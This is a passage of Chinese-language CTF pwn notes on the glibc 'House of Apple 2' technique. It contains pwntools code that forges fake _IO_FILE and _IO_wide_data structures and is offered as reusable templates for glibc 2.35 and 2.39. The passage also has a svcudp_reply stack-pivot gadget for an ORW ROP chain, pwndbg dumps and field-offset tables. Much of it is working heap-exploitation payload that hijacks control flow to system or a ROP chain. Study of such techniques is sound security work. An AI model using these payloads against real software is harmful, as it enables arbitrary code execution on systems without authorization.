&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0xc0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-1&lt;/code&gt; (&lt;code&gt;0xFFFFFFFF&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;满足触发条件 &lt;code&gt;_mode &amp;lt;= 0&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0xd8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vtable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_wfile_jumps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;劫持常规流操作，引流至宽字符溢出处理函数。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0xe0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(超出 FILE 范围)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;_wide_vtable&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fp + 0xe8 - 0x68&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;【重叠利用】&lt;/strong&gt; 指定宽字符虚表地址，精心计算的偏移。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;+0xe8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(超出 FILE 范围)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(函数指针目标)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;system&lt;/code&gt; / &lt;code&gt;gadget&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;【最终斩首】&lt;/strong&gt; &lt;code&gt;_wide_vtable + 0x68&lt;/code&gt; 刚好落在此处，劫持 RIP！&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ORW:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_addr=heap_base+0x700
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68
fake_io = b&quot;&quot;
fake_io += p64(0)  # _IO_read_end		0x10
fake_io += p64(0)  # _IO_read_base		0x18
fake_io += p64(0)  # _IO_write_base		0x20
fake_io += p64(1)  # _IO_write_ptr		0x28
fake_io += p64(0)  # _IO_write_end		0x30
fake_io += p64(0)  # _IO_buf_base;		0x38
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)		0x40


fake_io += p64(ROPchain_addr)   # _IO_save_base 		0x48



fake_io += p64(0)*3   # from _IO_backup_base to _markers		0x50-0x60
fake_io += p64(0)  # the FILE chain ptr								0x68
fake_io += p32(2)  # _fileno for stderr is 2						0x70
fake_io += p32(0)  # _flags2, usually 0								0x74
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1				0x78
fake_io += p16(0)  # _cur_column									0x82
fake_io += b&quot;\x00&quot;  # _vtable_offset
fake_io += b&quot;\n&quot;  # _shortbuf[1]
fake_io += p32(0)  # padding										0x84
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock		0x88
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1				0x90
fake_io += p64(0)  # _codecvt, usually 0							0x98
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1				0xa0
fake_io += p64(0) * 3  # from _freeres_list to __pad5				0xa8-0xb8
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1						0xc0
fake_io += b&quot;\x00&quot; * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b&apos;\x00&apos;)  # adjust to vtable			
fake_io += p64(libc.sym[&apos;_IO_wfile_jumps&apos;])  # _IO_list_all fake vtable		0xd8
fake_io += p64(wide_vtable_addr)													#	0xe0


fake_io += p64(libc.sym[&apos;svcudp_reply&apos;]+26)								# 0xe8
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;svcudp_reply+26&amp;gt;:  mov  rbp,QWORD PTR [rdi+0x48]
&amp;lt;svcudp_reply+30&amp;gt;:  mov  rax,QWORD PTR [rbp+0x18]
&amp;lt;svcudp_reply+34&amp;gt;:  lea  r13,[rbp+0x10]
&amp;lt;svcudp_reply+38&amp;gt;:  mov  DWORD PTR [rbp+0x10],0x0
&amp;lt;svcudp_reply+45&amp;gt;:  mov  rdi,r13
&amp;lt;svcudp_reply+48&amp;gt;:  call  QWORD PTR [rax+0x28]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和上面的system一样，此时rdi是指向file_addr的，此时对于rdi的索引就是0x48，所以file_addr+0x48处的内容会被赋值给rbp，此时我们将这个位置处改为orw_addr，再基于下面的call调用，我们就能实现栈迁移打orw了，而file_addr+0x48处正好是IO结构体中的_IO_save_base了&lt;/p&gt;
&lt;p&gt;下面我们讲讲对于call调用的赋值，调用的是&amp;amp;rax+0x28处的内容，我们把这个内容改为leave;ret的话就能实现栈迁移了&lt;/p&gt;
&lt;p&gt;而rax的赋值是基于rbp的0x18偏移处,而此时rbp已经被我们迁移到了orw_addr处，只要我们将orw_addr+0x18处改为一个可控制的地址，再基于这个地址+0x28处写上leave;ret即可完成栈迁移&lt;/p&gt;
&lt;p&gt;巧妙的是，在我们的orw构造中，我么先用pop_rdx_rbx进行寄存器赋值，而rbx正好对应orw_addr+0x18处，并且rbx是我们调用orw用不到的寄存器，所以我们在这里写上一个可控的堆地址即可，这里我写的是orw_addr+0x100处，而read和write的地址都是orw_addr+0x200处，不会产生冲突，此时我们把orw_addr+0x100处距离0x28偏移处写上leave;ret即可调用完成，而orw_addr我写入的是能够控制的一个chunk的fd指针处，便于我们对chunk进行写入&lt;/p&gt;
&lt;h3&gt;板子&lt;/h3&gt;
&lt;p&gt;GLIBC 2.35&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file_addr=heap_base+0x700
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68
fake_io = b&quot;&quot;
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0)   # _IO_save_base 
fake_io += p64(0)*3   # from _IO_backup_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b&quot;\x00&quot;  # _vtable_offset
fake_io += b&quot;\n&quot;  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1		将这个堆块同时给伪造成 IO_FILE结构体和 IO_wide_data结构体
fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b&quot;\x00&quot; * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b&apos;\x00&apos;)  # adjust to vtable
fake_io += p64(libc_base+libc.sym[&apos;_IO_wfile_jumps&apos;])  # _IO_list_all fake vtable		伪造的用于绕过vtable检测的同时调用__doallocate的
fake_io += p64(wide_vtable_addr)		# _IO_wide_data结构体的vtable指针
fake_io += p64(system)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;GLIBC 2.39&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_file = b&apos;&apos;
fake_file = p64(0)		#_flags通常设置为 0
fake_file += p64(1)		#_IO_read_ptr 设置为 1或者任何小于 _IO_write_ptr 的值
fake_file=  fake_file.ljust(0x28,b&apos;\x00&apos;)+p64(heap1)	# offset 0x20处为_IO_write_base ，offset 0x28处为_IO_write_ptr，我们需要满足的条件是_IO_write_ptr &amp;gt; _IO_write_base，此处_IO_write_base已经被设置为0，而_IO_write_ptr为heap1，显然大于_IO_write_base，成功骗过了 _IO_flush_all，让它去执行我们伪造在 vtable 里的目标函数。
fake_file = fake_file.ljust(0x68,b&apos;\x00&apos;)+p64(fake_heap)
fake_file = fake_file.ljust(0x80,b&apos;\x00&apos;)+p64(fake_heap)
fake_file = fake_file.ljust(0xb8,b&apos;\x00&apos;)+p64(IO_wfile_jumps) 



fake_file = b&apos;&apos;
fake_file = p64(0)		#_flags通常设置为 0
fake_file += p64(1)		#_IO_read_ptr 设置为 1或者任何小于 _IO_write_ptr 的值
fake_file = fake_file.ljust(0x18,b&apos;\x00&apos;)
fake_file += p64(0)		#_IO_write_base 填入 0
fake_file += p64(addr1)	# _IO_write_ptr	填入一个大于 0 的合法可读写地址（用于满足 write_ptr &amp;gt; write_base）
fake_file = fake_file.ljust(0x98,b&apos;\x00&apos;)	
fake_file += p64(fake_wide_data_addr)		#填入伪造的宽字符结构体基址
fake_file = fake_file.ljust(0xb8,b&apos;\x00&apos;)	
fake_file += p64(1)		#_mode = 1
fake_file = fake_file.ljust(0xd0,b&apos;\x00&apos;)
fake_file += p64(libc.sym[&apos;_IO_wfile_jumps&apos;])


fake_wide_data = b&apos;&apos;
fake_wide_data = fake_wide_data.ljust(0x10,b&apos;\x00&apos;)
fake_wide_data += p64(0)	#_IO_write_base 填入 0
fake_wide_data += p64(0)	#_IO_write_ptr 填入 0（让系统以为宽字符缓冲区未分配）
fake_wide_data = fake_wide_data.ljust(0xd8,b&apos;\x00&apos;)
fake_wide_data += p64(fake_wide_vtable_addr)	#填入伪造的宽字符虚表基址


fake_wide_vtable = b&apos;&apos;
fake_wide_vtable = fake_wide_vtable.ljust(0x60,b&apos;\x00&apos;)
fake_wide_vtable += p64(libcbase+0x17923D)		#libc 2.39中svcudp_reply的gadget

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; p *_IO_list_all
$1 = {
  file = {
    _flags = -72540026,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7fb4760 &amp;lt;_IO_2_1_stdout_&amp;gt;,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 &apos;\000&apos;,
    _shortbuf = &quot;&quot;,
    _lock = 0x7ffff7fb6720 &amp;lt;_IO_stdfile_2_lock&amp;gt;,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7fb3880 &amp;lt;_IO_wide_data_2&amp;gt;,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = &apos;\000&apos; &amp;lt;repeats 19 times&amp;gt;
  },
  vtable = 0x7ffff7fb5560 &amp;lt;__GI__IO_file_jumps&amp;gt;
}

pwndbg&amp;gt; p _IO_wide_data_2
$2 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = &quot;\000\000\000&quot;
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = &quot;\000\000\000&quot;
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = &quot;\000\000\000&quot;
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = &quot;\000\000\000&quot;
          }
        }
      }
    }
  },
  _shortbuf = L&quot;&quot;,
  _wide_vtable = 0x7ffff7fb5020 &amp;lt;__GI__IO_wfile_jumps&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;偏移 (Hex)&lt;/strong&gt;    IO_FILE&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;字段名&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;类型/描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_flags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;标志位 (如 &lt;code&gt;_IO_MAGIC_GET&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读缓冲区指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x18&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写缓冲区指针 (House of Apple 2 中需满足 ptr &amp;gt; base)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_write_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x38&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_buf_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x48&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_save_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x50&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_backup_base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区基址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x58&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_save_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;备份缓冲区结束&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x60&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_markers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;链表标记&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x68&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_chain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;链接下一个 FILE 结构体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x70&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_fileno&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文件描述符&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x74&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_flags2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;附加标志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x78&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_old_offset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;旧的偏移量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x80&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_cur_column&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;当前列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x82&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_vtable_offset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vtable 偏移 (通常为 0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x83&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_shortbuf[1]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;短缓冲区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x88&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键字段&lt;/strong&gt;：必须指向一块可写内存（通常指向文件本身的空闲位置）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_offset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;偏移量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x98&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_codecvt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;编码转换指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xa0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_wide_data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键字段&lt;/strong&gt;：指向 &lt;code&gt;_IO_wide_data&lt;/code&gt; 结构体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xa8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_freeres_list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;释放列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xb0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_freeres_buf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;释放缓冲区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xb8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;__pad5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;填充&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xc0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键字段&lt;/strong&gt;：House of Apple 2 中通常设为大于 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xc4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_unused2[20]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;未使用区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xd8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vtable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;关键字段&lt;/strong&gt;：指向 &lt;code&gt;_IO_wfile_jumps&lt;/code&gt; 以触发攻击流&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;偏移 (Hex)&lt;/strong&gt;     vtable&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;函数名 (Entry)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;House of Apple 2 中的作用&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dummy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;占位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dummy2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;占位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;finish&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;析构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x18&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;overflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;核心触发点&lt;/strong&gt;：通过 &lt;code&gt;_IO_wfile_overflow&lt;/code&gt; 进入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;underflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uflow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pbackfail&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x38&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xsputn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输出字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xsgetn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输入字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x48&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;seekoff&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;偏移寻址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x50&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;seekpos&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;位置寻址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x58&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setbuf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置缓冲区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x60&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sync&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;同步&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x68&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;doallocate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;分配缓冲区&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x70&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;read&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统读&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x78&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;write&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x80&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;seek&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统寻址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x88&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;close&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;关闭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;状态信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x98&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;showmanyc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xa0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;imbue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;**偏移 (Hex) ** _wide_data&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;字段名&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;类型&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;在 House of Apple 2 中的作用 / 备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_ptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;宽字符读指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;_IO_read_end&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wchar_t *&lt;/code&gt;&lt;/td&gt;
